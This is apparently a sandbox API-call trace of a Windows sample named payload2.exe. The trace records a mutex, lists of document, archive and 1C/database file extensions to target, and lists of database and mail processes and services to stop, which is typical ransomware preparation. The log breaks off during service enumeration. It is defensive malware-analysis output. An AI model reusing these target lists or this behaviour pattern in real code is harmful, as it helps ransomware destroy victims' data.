# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jul 9 2019 16:03:52 # Log Creation Date: 26.07.2019 21:11:21.990 Process: id = "1" image_name = "payload2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe" page_root = "0x4d0c3000" os_pid = "0x934" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x938 [0026.413] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0026.414] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0026.415] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0026.416] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0026.417] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0026.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0026.417] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0026.417] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0026.417] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0026.417] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0027.834] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0027.835] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0027.835] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0028.761] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0028.761] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0030.631] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0030.631] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0030.631] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0030.631] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0030.718] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0030.718] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0030.718] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0030.718] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0030.909] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0030.910] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0030.910] GetProcessHeap () returned 0x220000 [0030.910] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x2340d0 [0030.910] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15117800676) returned 1 [0030.910] GetTickCount () returned 0x180c3 [0030.910] GetCurrentProcessId () returned 0x934 [0030.911] GetTickCount () returned 0x180c3 [0030.911] GetTickCount () returned 0x180c3 [0030.911] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x2340f8 [0030.911] GetVersion () returned 0x1db10106 [0030.911] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x7) returned 0x2236b8 [0030.911] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x230bd8 [0030.911] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x230bd8, Size=0x20) returned 0x234148 [0030.911] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234148, Size=0x40) returned 0x2346b8 [0030.911] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x234908 [0030.912] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_4JY52QA") returned 0x0 [0030.912] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_4JY52QA") returned 0x84 [0030.912] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2236b8 | out: hHeap=0x220000) returned 1 [0030.912] lstrlenW (lpString="Global\\syncronize_") returned 18 [0030.912] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2346b8 | out: hHeap=0x220000) returned 1 [0030.912] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x7) returned 0x2236b8 [0030.912] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x230bd8 [0030.912] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x230bd8, Size=0x20) returned 0x234148 [0030.912] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234148, Size=0x40) returned 0x2346b8 [0030.912] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x244910 [0030.913] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_4JY52QU") returned 0x0 [0030.913] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_4JY52QU") returned 0x88 [0030.913] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2236b8 | out: hHeap=0x220000) returned 1 [0030.913] lstrlenW (lpString="Global\\syncronize_") returned 18 [0030.913] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2346b8 | out: hHeap=0x220000) returned 1 [0030.913] GetVersion () returned 0x1db10106 [0030.913] GetCurrentProcess () returned 0xffffffff [0030.913] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0030.913] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0030.913] CloseHandle (hObject=0x8c) returned 1 [0030.913] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0030.913] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x2236b8 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x230bd8 [0030.913] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x230bd8, Size=0x20) returned 0x234148 [0030.913] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234148, Size=0x40) returned 0x2346b8 [0030.913] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2346b8, Size=0x80) returned 0x2346b8 [0030.913] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2346b8, Size=0x100) returned 0x2346b8 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x34) returned 0x2347c0 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x2307c8 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x2307d8 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x2307e8 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x230bd8 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234800 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x230bf0 [0030.913] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234800, Size=0x8) returned 0x234800 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x230c08 [0030.913] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234800, Size=0x10) returned 0x234800 [0030.913] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x230c20 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x230c38 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234800, Size=0x20) returned 0x234800 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x230c50 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x230c68 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2307c8, Size=0x8) returned 0x2307c8 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2307d8, Size=0x8) returned 0x2307d8 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x234828 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x230c80 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234838 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x230c98 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234838, Size=0x8) returned 0x234838 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254930 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234838, Size=0x10) returned 0x234838 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254948 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x234850 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234838, Size=0x20) returned 0x234860 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2307c8, Size=0x10) returned 0x234838 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2307d8, Size=0x10) returned 0x234888 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x2307c8 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x254960 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x2307d8 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x254978 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2307d8, Size=0x8) returned 0x2307d8 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x2348a0 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x254990 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x2348b0 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2549a8 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2348b0, Size=0x8) returned 0x2348b0 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234838, Size=0x20) returned 0x254d18 [0030.914] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234888, Size=0x20) returned 0x254d40 [0030.914] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x234888 [0030.915] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x2549c0 [0030.915] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234838 [0030.915] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2549d8 [0030.915] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234838, Size=0x8) returned 0x234838 [0030.915] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x254d68 [0030.915] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x254d88 [0030.915] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0030.915] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2346b8 | out: hHeap=0x220000) returned 1 [0030.915] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2549f0 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2549f0, Size=0x20) returned 0x234350 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234350, Size=0x40) returned 0x234710 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x80) returned 0x234710 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x100) returned 0x255060 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2549f0 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2549f0, Size=0x20) returned 0x234350 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234350, Size=0x40) returned 0x234710 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x80) returned 0x234710 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x100) returned 0x255168 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x2549f0 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234710 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x8) returned 0x234710 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x234720 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x10) returned 0x234740 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x234758 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x234350 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234740, Size=0x20) returned 0x234778 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1c) returned 0x234378 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x16) returned 0x2347a0 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x2343a0 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x254a20 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x234710 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x255270 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x8) returned 0x234710 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x3c) returned 0x2552b8 [0030.926] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234710, Size=0x10) returned 0x234740 [0030.926] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x255300 [0030.927] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x255320 [0030.927] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234740, Size=0x20) returned 0x255340 [0030.927] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x24) returned 0x255368 [0030.927] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0030.927] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255060 | out: hHeap=0x220000) returned 1 [0030.927] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0030.927] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255168 | out: hHeap=0x220000) returned 1 [0030.927] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2558e8 [0030.930] EnumServicesStatusExW (in: hSCManager=0x2558e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0030.932] GetLastError () returned 0xea [0030.932] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x11e4) returned 0x2591e8 [0030.932] EnumServicesStatusExW (in: hSCManager=0x2558e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2591e8, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x2591e8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0030.933] CloseServiceHandle (hSCObject=0x2558e8) returned 1 [0030.934] lstrlenW (lpString="Appinfo") returned 7 [0030.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0030.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0030.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0030.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0030.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0030.934] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0030.935] lstrlenW (lpString="AudioSrv") returned 8 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0030.935] lstrlenW (lpString="BFE") returned 3 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0030.935] lstrlenW (lpString="CryptSvc") returned 8 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0030.935] lstrlenW (lpString="CscService") returned 10 [0030.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0030.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0030.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0030.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0030.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0030.935] 